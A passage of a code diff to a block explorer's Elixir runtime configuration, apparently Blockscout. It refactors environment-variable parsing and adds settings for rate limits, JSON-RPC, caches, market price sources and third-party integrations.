ConfigHelper.parse_list_env_var("API_RATE_LIMIT_REMOTE_IP_KNOWN_PROXIES", "") + +default_graphql_rate_limit = 10 + +config :block_scout_web, Api.GraphQL, + default_transaction_hash: + System.get_env( + "API_GRAPHQL_DEFAULT_TRANSACTION_HASH", + "0x69e3923eef50eada197c3336d546936d0c994211492c9f947a24c02827568f9f" + ), + enabled: ConfigHelper.parse_bool_env_var("API_GRAPHQL_ENABLED", "true"), + rate_limit_disabled?: ConfigHelper.parse_bool_env_var("API_GRAPHQL_RATE_LIMIT_DISABLED"), + global_limit: ConfigHelper.parse_integer_env_var("API_GRAPHQL_RATE_LIMIT", default_graphql_rate_limit), + limit_by_key: ConfigHelper.parse_integer_env_var("API_GRAPHQL_RATE_LIMIT_BY_KEY", default_graphql_rate_limit), + time_interval_limit: ConfigHelper.parse_time_env_var("API_GRAPHQL_RATE_LIMIT_TIME_INTERVAL", "1s"), + limit_by_ip: ConfigHelper.parse_integer_env_var("API_GRAPHQL_RATE_LIMIT_BY_IP", 500), + time_interval_limit_by_ip: ConfigHelper.parse_time_env_var("API_GRAPHQL_RATE_LIMIT_BY_IP_TIME_INTERVAL", "1h"), + static_api_key: System.get_env("API_GRAPHQL_RATE_LIMIT_STATIC_API_KEY") # Configures History price_chart_config = - if System.get_env("SHOW_PRICE_CHART", "false") != "false" do + if ConfigHelper.parse_bool_env_var("SHOW_PRICE_CHART") do %{market: [:price, :market_cap]} else %{} end -tx_chart_config = - if System.get_env("SHOW_TXS_CHART", "true") == "true" do +price_chart_legend_enabled? = + ConfigHelper.parse_bool_env_var("SHOW_PRICE_CHART") || ConfigHelper.parse_bool_env_var("SHOW_PRICE_CHART_LEGEND") + +transaction_chart_config = + if ConfigHelper.parse_bool_env_var("SHOW_TXS_CHART", "true") do %{transactions: [:transactions_per_day]} else %{} end -config :block_scout_web, - chart_config: Map.merge(price_chart_config, tx_chart_config) +config :block_scout_web, :chart, + chart_config: Map.merge(price_chart_config, transaction_chart_config), + price_chart_legend_enabled?: price_chart_legend_enabled? config :block_scout_web, BlockScoutWeb.Chain.Address.CoinBalance, - # days - coin_balance_history_days: System.get_env("COIN_BALANCE_HISTORY_DAYS", "10") + coin_balance_history_days: ConfigHelper.parse_integer_env_var("COIN_BALANCE_HISTORY_DAYS", 10) + +config :block_scout_web, BlockScoutWeb.API.V2, enabled: ConfigHelper.parse_bool_env_var("API_V2_ENABLED", "true") + +config :block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + service_url: System.get_env("MICROSERVICE_TRANSACTION_INTERPRETATION_URL"), + enabled: ConfigHelper.parse_bool_env_var("MICROSERVICE_TRANSACTION_INTERPRETATION_ENABLED") + +# Configures Ueberauth's Auth0 auth provider +config :ueberauth, Ueberauth.Strategy.Auth0.OAuth, + domain: System.get_env("ACCOUNT_AUTH0_DOMAIN"), + client_id: System.get_env("ACCOUNT_AUTH0_CLIENT_ID"), + client_secret: System.get_env("ACCOUNT_AUTH0_CLIENT_SECRET"), + auth0_application_id: ConfigHelper.safe_get_env("ACCOUNT_AUTH0_APPLICATION_ID", nil) |> String.replace(".", "") + +# Configures Ueberauth local settings +config :ueberauth, Ueberauth, logout_url: "https://#{System.get_env("ACCOUNT_AUTH0_DOMAIN")}/v2/logout" ######################## ### Ethereum JSONRPC ### ######################## +trace_url_missing? = + System.get_env("ETHEREUM_JSONRPC_TRACE_URL") in ["", nil] and + System.get_env("ETHEREUM_JSONRPC_TRACE_URLS") in ["", nil] + config :ethereum_jsonrpc, rpc_transport: if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", do: :http, else: :ipc), ipc_path: System.get_env("IPC_PATH"), - disable_archive_balances?: System.get_env("ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES", "false") == "true" + disable_archive_balances?: + trace_url_missing? or ConfigHelper.parse_bool_env_var("ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES"), + archive_balances_window: ConfigHelper.parse_integer_env_var("ETHEREUM_JSONRPC_ARCHIVE_BALANCES_WINDOW", 200) + +config :ethereum_jsonrpc, EthereumJSONRPC.HTTP, + headers: + %{"Content-Type" => "application/json"} + |> Map.merge(ConfigHelper.parse_json_env_var("ETHEREUM_JSONRPC_HTTP_HEADERS", "{}")) + |> Map.to_list(), + gzip_enabled?: ConfigHelper.parse_bool_env_var("ETHEREUM_JSONRPC_HTTP_GZIP_ENABLED", "false") -debug_trace_transaction_timeout = System.get_env("ETHEREUM_JSONRPC_DEBUG_TRACE_TRANSACTION_TIMEOUT", "5s") -config :ethereum_jsonrpc, EthereumJSONRPC.Geth, debug_trace_transaction_timeout: debug_trace_transaction_timeout +config :ethereum_jsonrpc, EthereumJSONRPC.Geth, + block_traceable?: ConfigHelper.parse_bool_env_var("ETHEREUM_JSONRPC_GETH_TRACE_BY_BLOCK"), + allow_empty_traces?: ConfigHelper.parse_bool_env_var("ETHEREUM_JSONRPC_GETH_ALLOW_EMPTY_TRACES"), + debug_trace_timeout: System.get_env("ETHEREUM_JSONRPC_DEBUG_TRACE_TRANSACTION_TIMEOUT", "5s"), + tracer: System.get_env("INDEXER_INTERNAL_TRANSACTIONS_TRACER_TYPE", "call_tracer") + +config :ethereum_jsonrpc, EthereumJSONRPC.PendingTransaction, + type: System.get_env("ETHEREUM_JSONRPC_PENDING_TRANSACTIONS_TYPE", "default") + +config :ethereum_jsonrpc, EthereumJSONRPC.RequestCoordinator, + wait_per_timeout: ConfigHelper.parse_time_env_var("ETHEREUM_JSONRPC_WAIT_PER_TIMEOUT", "20s") + +config :ethereum_jsonrpc, EthereumJSONRPC.WebSocket.RetryWorker, + retry_interval: ConfigHelper.parse_time_env_var("ETHEREUM_JSONRPC_WS_RETRY_INTERVAL", "1m") + +config :ethereum_jsonrpc, EthereumJSONRPC.Utility.EndpointAvailabilityChecker, enabled: true ################ ### Explorer ### ################ -disable_indexer = System.get_env("DISABLE_INDEXER") -disable_webapp = System.get_env("DISABLE_WEBAPP") +disable_indexer? = ConfigHelper.parse_bool_env_var("DISABLE_INDEXER") +disable_webapp? = ConfigHelper.parse_bool_env_var("DISABLE_WEBAPP") +app_mode = ConfigHelper.mode() + +disable_exchange_rates? = + if System.get_env("DISABLE_MARKET"), + do: ConfigHelper.parse_bool_env_var("DISABLE_MARKET"), + else: ConfigHelper.parse_bool_env_var("DISABLE_EXCHANGE_RATES") -healthy_blocks_period = - System.get_env("HEALTHY_BLOCKS_PERIOD", "5") - |> Integer.parse() - |> elem(0) - |> :timer.minutes() +coin = System.get_env("COIN") || "ETH" config :explorer, - coin: System.get_env("COIN") || "POA", - coin_name: System.get_env("COIN_NAME") || System.get_env("COIN") || "POA", - allowed_evm_versions: - System.get_env("ALLOWED_EVM_VERSIONS") || - "homestead,tangerineWhistle,spuriousDragon,byzantium,constantinople,petersburg,istanbul,berlin,london,default", - include_uncles_in_average_block_time: - if(System.get_env("UNCLES_IN_AVERAGE_BLOCK_TIME") == "true", do: true, else: false), - healthy_blocks_period: healthy_blocks_period, + mode: app_mode, + ecto_repos: ConfigHelper.repos(), + chain_type: ConfigHelper.chain_type(), + coin: coin, + coin_name: System.get_env("COIN_NAME") || "ETH", + allowed_solidity_evm_versions: + System.get_env("CONTRACT_VERIFICATION_ALLOWED_SOLIDITY_EVM_VERSIONS") || + "homestead,tangerineWhistle,spuriousDragon,byzantium,constantinople,petersburg,istanbul,berlin,london,paris,shanghai,cancun,prague,default", + allowed_vyper_evm_versions: + System.get_env("CONTRACT_VERIFICATION_ALLOWED_VYPER_EVM_VERSIONS") || + "byzantium,constantinople,petersburg,istanbul,berlin,paris,shanghai,cancun,default", + include_uncles_in_average_block_time: ConfigHelper.parse_bool_env_var("UNCLES_IN_AVERAGE_BLOCK_TIME"), realtime_events_sender: - if(disable_webapp != "true", - do: Explorer.Chain.Events.SimpleSender, - else: Explorer.Chain.Events.DBSender - ) + (case app_mode do + :all -> Explorer.Chain.Events.SimpleSender + separate_setup when separate_setup in [:indexer, :api] -> Explorer.Chain.Events.DBSender + end), + addresses_blacklist: System.get_env("ADDRESSES_BLACKLIST"), + addresses_blacklist_key: System.get_env("ADDRESSES_BLACKLIST_KEY"), + elasticity_multiplier: ConfigHelper.parse_integer_env_var("EIP_1559_ELASTICITY_MULTIPLIER", 2), + base_fee_max_change_denominator: ConfigHelper.parse_integer_env_var("EIP_1559_BASE_FEE_MAX_CHANGE_DENOMINATOR", 8), + base_fee_lower_bound: ConfigHelper.parse_integer_env_var("EIP_1559_BASE_FEE_LOWER_BOUND_WEI", 0), + csv_export_limit: ConfigHelper.parse_integer_env_var("CSV_EXPORT_LIMIT", 10_000), + shrink_internal_transactions_enabled: ConfigHelper.parse_bool_env_var("SHRINK_INTERNAL_TRANSACTIONS_ENABLED"), + replica_max_lag: ConfigHelper.parse_time_env_var("REPLICA_MAX_LAG", "5m"), + hackney_default_pool_size: ConfigHelper.parse_integer_env_var("HACKNEY_DEFAULT_POOL_SIZE", 1_000) + +config :explorer, Explorer.Chain.Health.Monitor, + check_interval: ConfigHelper.parse_time_env_var("HEALTH_MONITOR_CHECK_INTERVAL", "1m"), + healthy_blocks_period: ConfigHelper.parse_time_env_var("HEALTH_MONITOR_BLOCKS_PERIOD", "5m"), + healthy_batches_period: ConfigHelper.parse_time_env_var("HEALTH_MONITOR_BATCHES_PERIOD", "4h") + +config :explorer, :proxy, + caching_implementation_data_enabled: true, + implementation_data_ttl_via_avg_block_time: + ConfigHelper.parse_bool_env_var("CONTRACT_PROXY_IMPLEMENTATION_TTL_VIA_AVG_BLOCK_TIME", "true"), + fallback_cached_implementation_data_ttl: :timer.seconds(4), + implementation_data_fetching_timeout: :timer.seconds(2) + +config :explorer, Explorer.Chain.Events.Listener, enabled: app_mode == :api + +precompiled_config_base_dir = + case config_env() do + :prod -> "/app/" + _ -> "./" + end -config :explorer, Explorer.Chain.Events.Listener, - enabled: - if(disable_webapp == "true" && disable_indexer == "true", - do: false, - else: true - ) +precompiled_config_default_path = + case ConfigHelper.chain_type() do + :arbitrum -> "#{precompiled_config_base_dir}config/assets/precompiles-arbitrum.json" + _ -> nil + end config :explorer, Explorer.ChainSpec.GenesisData, chain_spec_path: System.get_env("CHAIN_SPEC_PATH"), + genesis_processing_delay: ConfigHelper.parse_time_env_var("CHAIN_SPEC_PROCESSING_DELAY", "15s"), emission_format: System.get_env("EMISSION_FORMAT", "DEFAULT"), - rewards_contract_address: System.get_env("REWARDS_CONTRACT", "0xeca443e8e1ab29971a45a9c57a6a9875701698a5") - -config :explorer, Explorer.Chain.Cache.BlockNumber, - ttl_check_interval: if(disable_indexer == "true", do: :timer.seconds(1), else: false), - global_ttl: if(disable_indexer == "true", do: :timer.seconds(5)) - -address_sum_global_ttl = - "CACHE_ADDRESS_SUM_PERIOD" - |> System.get_env("") - |> Integer.parse() - |> case do - {integer, ""} -> :timer.seconds(integer) - _ -> :timer.minutes(60) - end - -config :explorer, Explorer.Chain.Cache.AddressSum, global_ttl: address_sum_global_ttl - -config :explorer, Explorer.Chain.Cache.AddressSumMinusBurnt, global_ttl: address_sum_global_ttl - -config :explorer, Explorer.ExchangeRates, + rewards_contract_address: System.get_env("REWARDS_CONTRACT", "0xeca443e8e1ab29971a45a9c57a6a9875701698a5"), + precompiled_config_path: System.get_env("PRECOMPILED_CONTRACTS_CONFIG_PATH", precompiled_config_default_path) + +address_sum_global_ttl = ConfigHelper.parse_time_env_var("CACHE_ADDRESS_SUM_PERIOD", "1h") + +config :explorer, Explorer.Chain.Cache.Counters.AddressesCoinBalanceSum, global_ttl: address_sum_global_ttl + +config :explorer, Explorer.Chain.Cache.Counters.AddressesCoinBalanceSumMinusBurnt, global_ttl: address_sum_global_ttl + +config :explorer, Explorer.Chain.Cache.Counters.GasUsageSum, + global_ttl: ConfigHelper.parse_time_env_var("CACHE_TOTAL_GAS_USAGE_PERIOD", "2h"), + enabled: ConfigHelper.parse_bool_env_var("CACHE_TOTAL_GAS_USAGE_COUNTER_ENABLED") + +config :explorer, Explorer.Chain.Cache.Counters.BlocksCount, + global_ttl: ConfigHelper.parse_time_env_var("CACHE_BLOCK_COUNT_PERIOD", "2h") + +config :explorer, Explorer.Chain.Cache.Counters.AddressesCount, + update_interval_in_milliseconds: ConfigHelper.parse_time_env_var("CACHE_ADDRESS_COUNT_PERIOD", "30m") + +config :explorer, Explorer.Chain.Cache.Counters.TransactionsCount, + global_ttl: ConfigHelper.parse_time_env_var("CACHE_TXS_COUNT_PERIOD", "2h") + +config :explorer, Explorer.Chain.Cache.Counters.PendingBlockOperationCount, + global_ttl: ConfigHelper.parse_time_env_var("CACHE_PBO_COUNT_PERIOD", "20m") + +config :explorer, Explorer.Chain.Cache.GasPriceOracle, + global_ttl: ConfigHelper.parse_time_env_var("GAS_PRICE_ORACLE_CACHE_PERIOD", "30s"), + simple_transaction_gas: ConfigHelper.parse_integer_env_var("GAS_PRICE_ORACLE_SIMPLE_TRANSACTION_GAS", 21_000), + num_of_blocks: ConfigHelper.parse_integer_env_var("GAS_PRICE_ORACLE_NUM_OF_BLOCKS", 200), + safelow_percentile: ConfigHelper.parse_integer_env_var("GAS_PRICE_ORACLE_SAFELOW_PERCENTILE", 35), + average_percentile: ConfigHelper.parse_integer_env_var("GAS_PRICE_ORACLE_AVERAGE_PERCENTILE", 60), + fast_percentile: ConfigHelper.parse_integer_env_var("GAS_PRICE_ORACLE_FAST_PERCENTILE", 90), + safelow_time_coefficient: ConfigHelper.parse_float_env_var("GAS_PRICE_ORACLE_SAFELOW_TIME_COEFFICIENT", 5), + average_time_coefficient: ConfigHelper.parse_float_env_var("GAS_PRICE_ORACLE_AVERAGE_TIME_COEFFICIENT", 3), + fast_time_coefficient: ConfigHelper.parse_float_env_var("GAS_PRICE_ORACLE_FAST_TIME_COEFFICIENT", 1) + +config :explorer, Explorer.Chain.Cache.Counters.Rootstock.LockedBTCCount, + enabled: System.get_env("ETHEREUM_JSONRPC_VARIANT") == "rsk", + global_ttl: ConfigHelper.parse_time_env_var("ROOTSTOCK_LOCKED_BTC_CACHE_PERIOD", "10m"), + locking_cap: ConfigHelper.parse_integer_env_var("ROOTSTOCK_LOCKING_CAP", 21_000_000) + +config :explorer, Explorer.Chain.Cache.OptimismFinalizationPeriod, enabled: ConfigHelper.chain_type() == :optimism + +config :explorer, Explorer.Chain.Cache.Counters.AddressTransactionsGasUsageSum, + cache_period: ConfigHelper.parse_time_env_var("CACHE_ADDRESS_TRANSACTIONS_GAS_USAGE_COUNTER_PERIOD", "30m") + +config :explorer, Explorer.Chain.Cache.Counters.TokenHoldersCount, + cache_period: ConfigHelper.parse_time_env_var("CACHE_TOKEN_HOLDERS_COUNTER_PERIOD", "1h") + +config :explorer, Explorer.Chain.Cache.Counters.TokenTransfersCount, + cache_period: ConfigHelper.parse_time_env_var("CACHE_TOKEN_TRANSFERS_COUNTER_PERIOD", "1h") + +config :explorer, Explorer.Chain.Cache.Counters.AverageBlockTime, + enabled: true, + period: :timer.minutes(10), + cache_period: ConfigHelper.parse_time_env_var("CACHE_AVERAGE_BLOCK_PERIOD", "30m") + +config :explorer, Explorer.Market.MarketHistoryCache, + cache_period: ConfigHelper.parse_time_env_var("CACHE_MARKET_HISTORY_PERIOD", "6h") + +config :explorer, Explorer.Chain.Cache.Counters.AddressTransactionsCount, + cache_period: ConfigHelper.parse_time_env_var("CACHE_ADDRESS_TRANSACTIONS_COUNTER_PERIOD", "1h") + +config :explorer, Explorer.Chain.Cache.Counters.AddressTokensUsdSum, + cache_period: ConfigHelper.parse_time_env_var("CACHE_ADDRESS_TOKENS_USD_SUM_PERIOD", "1h") + +config :explorer, Explorer.Chain.Cache.Counters.AddressTokenTransfersCount, + cache_period: ConfigHelper.parse_time_env_var("CACHE_ADDRESS_TOKEN_TRANSFERS_COUNTER_PERIOD", "1h") + +config :explorer, Explorer.Chain.Cache.Counters.Optimism.LastOutputRootSizeCount, + enabled: ConfigHelper.chain_type() == :optimism, + enable_consolidation: ConfigHelper.chain_type() == :optimism, + cache_period: ConfigHelper.parse_time_env_var("CACHE_OPTIMISM_LAST_OUTPUT_ROOT_SIZE_COUNTER_PERIOD", "5m") + +config :explorer, Explorer.Chain.Cache.Counters.Transactions24hCount, + enabled: true, + cache_period: ConfigHelper.parse_time_env_var("CACHE_TRANSACTIONS_24H_STATS_PERIOD", "1h"), + enable_consolidation: true + +config :explorer, Explorer.Chain.Cache.Counters.NewPendingTransactionsCount, + enabled: true, + cache_period: ConfigHelper.parse_time_env_var("CACHE_FRESH_PENDING_TRANSACTIONS_COUNTER_PERIOD", "5m"), + enable_consolidation: true + +config :explorer, Explorer.Market.Source, + native_coin_source: + ConfigHelper.market_source("MARKET_NATIVE_COIN_SOURCE") || ConfigHelper.market_source("EXCHANGE_RATES_SOURCE"), + secondary_coin_source: + ConfigHelper.market_source("MARKET_SECONDARY_COIN_SOURCE") || + ConfigHelper.market_source("EXCHANGE_RATES_SECONDARY_COIN_SOURCE"), + tokens_source: + ConfigHelper.market_source("MARKET_TOKENS_SOURCE") || ConfigHelper.market_source("TOKEN_EXCHANGE_RATES_SOURCE"), + native_coin_history_source: + ConfigHelper.market_source("MARKET_NATIVE_COIN_HISTORY_SOURCE") || + ConfigHelper.market_source("EXCHANGE_RATES_PRICE_SOURCE"), + secondary_coin_history_source: ConfigHelper.market_source("MARKET_SECONDARY_COIN_HISTORY_SOURCE"), + market_cap_history_source: + ConfigHelper.market_source("MARKET_CAP_HISTORY_SOURCE") || + ConfigHelper.market_source("EXCHANGE_RATES_MARKET_CAP_SOURCE"), + tvl_history_source: + ConfigHelper.market_source("MARKET_TVL_HISTORY_SOURCE") || ConfigHelper.market_source("EXCHANGE_RATES_TVL_SOURCE") + +config :explorer, Explorer.Market.Source.CoinGecko, + platform: System.get_env("MARKET_COINGECKO_PLATFORM_ID") || System.get_env("EXCHANGE_RATES_COINGECKO_PLATFORM_ID"), + base_url: + System.get_env("MARKET_COINGECKO_BASE_URL") || + System.get_env("EXCHANGE_RATES_COINGECKO_BASE_URL", "https://api.coingecko.com/api/v3"), + base_pro_url: + System.get_env("MARKET_COINGECKO_BASE_PRO_URL") || + System.get_env("EXCHANGE_RATES_COINGECKO_BASE_PRO_URL", "https://pro-api.coingecko.com/api/v3"), + api_key: System.get_env("MARKET_COINGECKO_API_KEY") || System.get_env("EXCHANGE_RATES_COINGECKO_API_KEY"), + coin_id: System.get_env("MARKET_COINGECKO_COIN_ID") || System.get_env("EXCHANGE_RATES_COINGECKO_COIN_ID"), + secondary_coin_id: + System.get_env("MARKET_COINGECKO_SECONDARY_COIN_ID") || System.get_env("EXCHANGE_RATES_COINGECKO_SECONDARY_COIN_ID"), + currency: "usd" + +config :explorer, Explorer.Market.Source.CoinMarketCap, + base_url: + System.get_env("MARKET_COINMARKETCAP_BASE_URL") || + System.get_env("EXCHANGE_RATES_COINMARKETCAP_BASE_URL", "https://pro-api.coinmarketcap.com/v2"), + api_key: System.get_env("MARKET_COINMARKETCAP_API_KEY") || System.get_env("EXCHANGE_RATES_COINMARKETCAP_API_KEY"), + coin_id: System.get_env("MARKET_COINMARKETCAP_COIN_ID") || System.get_env("EXCHANGE_RATES_COINMARKETCAP_COIN_ID"), + secondary_coin_id: + System.get_env("MARKET_COINMARKETCAP_SECONDARY_COIN_ID") || + System.get_env("EXCHANGE_RATES_COINMARKETCAP_SECONDARY_COIN_ID"), + currency_id: "2781" + +config :explorer, Explorer.Market.Source.CryptoCompare, + base_url: System.get_env("MARKET_CRYPTOCOMPARE_BASE_URL", "https://min-api.cryptocompare.com"), + coin_symbol: System.get_env("MARKET_CRYPTOCOMPARE_COIN_SYMBOL", coin), + secondary_coin_symbol: + System.get_env("MARKET_CRYPTOCOMPARE_SECONDARY_COIN_SYMBOL") || + System.get_env("EXCHANGE_RATES_CRYPTOCOMPARE_SECONDARY_COIN_SYMBOL"), + currency: "USD" + +config :explorer, Explorer.Market.Source.CryptoRank, + platform: + ConfigHelper.parse_integer_or_nil_env_var("MARKET_CRYPTORANK_PLATFORM_ID") || + ConfigHelper.parse_integer_or_nil_env_var("EXCHANGE_RATES_CRYPTORANK_PLATFORM_ID"), + base_url: + System.get_env("MARKET_CRYPTORANK_BASE_URL") || + System.get_env("EXCHANGE_RATES_CRYPTORANK_BASE_URL", "https://api.cryptorank.io/v1/"), + api_key: System.get_env("MARKET_CRYPTORANK_API_KEY") || System.get_env("EXCHANGE_RATES_CRYPTORANK_API_KEY"), + coin_id: + System.get_env("MARKET_CRYPTORANK_COIN_ID") || + ConfigHelper.parse_integer_or_nil_env_var("EXCHANGE_RATES_CRYPTORANK_COIN_ID"), + secondary_coin_id: + System.get_env("MARKET_CRYPTORANK_SECONDARY_COIN_ID") || + ConfigHelper.parse_integer_or_nil_env_var("EXCHANGE_RATES_CRYPTORANK_SECONDARY_COIN_ID"), + currency: "USD" + +config :explorer, Explorer.Market.Source.DefiLlama, + coin_id: System.get_env("MARKET_DEFILLAMA_COIN_ID"), + base_url: "https://api.llama.fi/v2" + +config :explorer, Explorer.Market.Source.Mobula, + platform: System.get_env("MARKET_MOBULA_PLATFORM_ID") || System.get_env("EXCHANGE_RATES_MOBULA_CHAIN_ID"), + base_url: + System.get_env("MARKET_MOBULA_BASE_URL") || + System.get_env("EXCHANGE_RATES_MOBULA_BASE_URL", "https://api.mobula.io/api/1"), + api_key: System.get_env("MARKET_MOBULA_API_KEY") || System.get_env("EXCHANGE_RATES_MOBULA_API_KEY"), + coin_id: System.get_env("MARKET_MOBULA_COIN_ID") || System.get_env("EXCHANGE_RATES_MOBULA_COIN_ID"), + secondary_coin_id: + System.get_env("MARKET_MOBULA_SECONDARY_COIN_ID") || System.get_env("EXCHANGE_RATES_MOBULA_SECONDARY_COIN_ID") + +config :explorer, Explorer.Market.Fetcher.Coin, store: :ets, - enabled: System.get_env("DISABLE_EXCHANGE_RATES") != "true", - coingecko_coin_id: System.get_env("EXCHANGE_RATES_COINGECKO_COIN_ID"), - coingecko_api_key: System.get_env("EXCHANGE_RATES_COINGECKO_API_KEY"), - coinmarketcap_api_key: System.get_env("EXCHANGE_RATES_COINMARKETCAP_API_KEY"), - fetch_btc_value: System.get_env("EXCHANGE_RATES_FETCH_BTC_VALUE") == "true" - -exchange_rates_source = - cond do - System.get_env("EXCHANGE_RATES_SOURCE") == "coin_gecko" -> Explorer.ExchangeRates.Source.CoinGecko - System.get_env("EXCHANGE_RATES_SOURCE") == "coin_market_cap" -> Explorer.ExchangeRates.Source.CoinMarketCap - true -> Explorer.ExchangeRates.Source.CoinGecko - end - -config :explorer, Explorer.ExchangeRates.Source, source: exchange_rates_source + enabled: !disable_exchange_rates? && ConfigHelper.parse_bool_env_var("MARKET_COIN_FETCHER_ENABLED", "true"), + enable_consolidation: true, + cache_period: ConfigHelper.parse_time_env_var("MARKET_COIN_CACHE_PERIOD", "10m") -config :explorer, Explorer.KnownTokens, enabled: System.get_env("DISABLE_KNOWN_TOKENS") != "true", store: :ets - -config :explorer, Explorer.Market.History.Cataloger, enabled: disable_indexer != "true" +config :explorer, Explorer.Market.Fetcher.Token, + enabled: + !disable_exchange_rates? && + ConfigHelper.parse_bool_env_var( + "MARKET_TOKENS_FETCHER_ENABLED", + ConfigHelper.safe_get_env("DISABLE_TOKEN_EXCHANGE_RATE", "true") + ), + interval: + ConfigHelper.parse_time_env_var( + "MARKET_TOKENS_INTERVAL", + ConfigHelper.safe_get_env("TOKEN_EXCHANGE_RATE_INTERVAL", "10s") + ), + refetch_interval: + ConfigHelper.parse_time_env_var( + "MARKET_TOKENS_REFETCH_INTERVAL", + ConfigHelper.safe_get_env("TOKEN_EXCHANGE_RATE_REFETCH_INTERVAL", "1h") + ), + max_batch_size: + ConfigHelper.parse_integer_env_var( + "MARKET_TOKENS_MAX_BATCH_SIZE", + ConfigHelper.parse_integer_env_var("TOKEN_EXCHANGE_RATE_MAX_BATCH_SIZE", 500) + ) -txs_stats_init_lag = - System.get_env("TXS_HISTORIAN_INIT_LAG", "0") - |> Integer.parse() - |> elem(0) - |> :timer.minutes() +config :explorer, Explorer.Market.Fetcher.History, + enabled: !disable_exchange_rates? && ConfigHelper.parse_bool_env_var("MARKET_HISTORY_FETCHER_ENABLED", "true"), + history_fetch_interval: ConfigHelper.parse_time_env_var("MARKET_HISTORY_FETCH_INTERVAL", "1h"), + first_fetch_day_count: + ConfigHelper.parse_integer_env_var( + "MARKET_HISTORY_FIRST_FETCH_DAY_COUNT", + ConfigHelper.parse_integer_env_var("EXCHANGE_RATES_HISTORY_FIRST_FETCH_DAY_COUNT", 365) + ) -txs_stats_days_to_compile_at_init = - System.get_env("TXS_STATS_DAYS_TO_COMPILE_AT_INIT", "40") - |> Integer.parse() - |> elem(0) +config :explorer, Explorer.Chain.Transaction, suave_bid_contracts: System.get_env("SUAVE_BID_CONTRACTS", "") config :explorer, Explorer.Chain.Transaction.History.Historian, - enabled: System.get_env("ENABLE_TXS_STATS", "true") != "false", - init_lag: txs_stats_init_lag, - days_to_compile_at_init: txs_stats_days_to_compile_at_init - -history_fetch_interval = - case Integer.parse(System.get_env("HISTORY_FETCH_INTERVAL", "")) do - {mins, ""} -> mins - _ -> 60 - end - |> :timer.minutes() - -config :explorer, Explorer.History.Process, history_fetch_interval: history_fetch_interval + enabled: transactions_stats_enabled, + init_lag_milliseconds: ConfigHelper.parse_time_env_var("TXS_HISTORIAN_INIT_LAG", "0"), + days_to_compile_at_init: ConfigHelper.parse_integer_env_var("TXS_STATS_DAYS_TO_COMPILE_AT_INIT", 40) if System.get_env("METADATA_CONTRACT") && System.get_env("VALIDATORS_CONTRACT") do config :explorer, Explorer.Validator.MetadataRetriever, metadata_contract_address: System.get_env("METADATA_CONTRACT"), validators_contract_address: System.get_env("VALIDATORS_CONTRACT") - config :explorer, Explorer.Validator.MetadataProcessor, enabled: disable_indexer != "true" + config :explorer, Explorer.Validator.MetadataProcessor, enabled: !disable_indexer? else config :explorer, Explorer.Validator.MetadataProcessor, enabled: false end @@ -279,119 +561,1011 @@ case System.get_env("SUPPLY_MODULE") do :ok end -config :explorer, - checksum_function: System.get_env("CHECKSUM_FUNCTION") && String.to_atom(System.get_env("CHECKSUM_FUNCTION")) +config :explorer, Explorer.Chain.Cache.BlockNumber, + ttl_check_interval: ConfigHelper.cache_ttl_check_interval(disable_indexer?), + global_ttl: ConfigHelper.cache_global_ttl(disable_indexer?) config :explorer, Explorer.Chain.Cache.Blocks, - ttl_check_interval: if(disable_indexer == "true", do: :timer.seconds(1), else: false), - global_ttl: if(disable_indexer == "true", do: :timer.seconds(5)) + ttl_check_interval: ConfigHelper.cache_ttl_check_interval(disable_indexer?), + global_ttl: ConfigHelper.cache_global_ttl(disable_indexer?) config :explorer, Explorer.Chain.Cache.Transactions, - ttl_check_interval: if(disable_indexer == "true", do: :timer.seconds(1), else: false), - global_ttl: if(disable_indexer == "true", do: :timer.seconds(5)) + ttl_check_interval: ConfigHelper.cache_ttl_check_interval(disable_indexer?), + global_ttl: ConfigHelper.cache_global_ttl(disable_indexer?) + +config :explorer, Explorer.Chain.Cache.TransactionsApiV2, + ttl_check_interval: ConfigHelper.cache_ttl_check_interval(disable_indexer?), + global_ttl: ConfigHelper.cache_global_ttl(disable_indexer?) config :explorer, Explorer.Chain.Cache.Accounts, - ttl_check_interval: if(disable_indexer == "true", do: :timer.seconds(1), else: false), - global_ttl: if(disable_indexer == "true", do: :timer.seconds(5)) + ttl_check_interval: ConfigHelper.cache_ttl_check_interval(disable_indexer?), + global_ttl: ConfigHelper.cache_global_ttl(disable_indexer?) + +config :explorer, Explorer.Chain.Cache.Uncles, + ttl_check_interval: ConfigHelper.cache_ttl_check_interval(disable_indexer?), + global_ttl: ConfigHelper.cache_global_ttl(disable_indexer?) config :explorer, Explorer.Chain.Cache.Uncles, - ttl_check_interval: if(disable_indexer == "true", do: :timer.seconds(1), else: false), - global_ttl: if(disable_indexer == "true", do: :timer.seconds(5)) + ttl_check_interval: ConfigHelper.cache_ttl_check_interval(disable_indexer?), + global_ttl: ConfigHelper.cache_global_ttl(disable_indexer?) + +celo_l2_migration_block = ConfigHelper.parse_integer_or_nil_env_var("CELO_L2_MIGRATION_BLOCK") +celo_epoch_manager_contract_address = System.get_env("CELO_EPOCH_MANAGER_CONTRACT") + +config :explorer, :celo, + l2_migration_block: celo_l2_migration_block, + epoch_manager_contract_address: celo_epoch_manager_contract_address, + celo_unreleased_treasury_contract_address: System.get_env("CELO_UNRELEASED_TREASURY_CONTRACT"), + validators_contract_address: System.get_env("CELO_VALIDATORS_CONTRACT") + +config :explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: ConfigHelper.parse_json_env_var("CELO_CORE_CONTRACTS") config :explorer, Explorer.ThirdPartyIntegrations.Sourcify, server_url: System.get_env("SOURCIFY_SERVER_URL") || "https://sourcify.dev/server", - enabled: System.get_env("ENABLE_SOURCIFY_INTEGRATION") == "true", + enabled: ConfigHelper.parse_bool_env_var("SOURCIFY_INTEGRATION_ENABLED"), chain_id: System.get_env("CHAIN_ID"), repo_url: System.get_env("SOURCIFY_REPO_URL") || "https://repo.sourcify.dev/contracts" -config :explorer, Explorer.SmartContract.RustVerifierInterface, - service_url: System.get_env("RUST_VERIFICATION_SERVICE_URL"), - enabled: System.get_env("ENABLE_RUST_VERIFICATION_SERVICE") == "true" +config :explorer, Explorer.ThirdPartyIntegrations.SolidityScan, + platform_id: System.get_env("SOLIDITYSCAN_PLATFORM_ID", "16"), + chain_id: System.get_env("SOLIDITYSCAN_CHAIN_ID"), + api_key: System.get_env("SOLIDITYSCAN_API_TOKEN") + +config :explorer, Explorer.ThirdPartyIntegrations.NovesFi, + service_url: 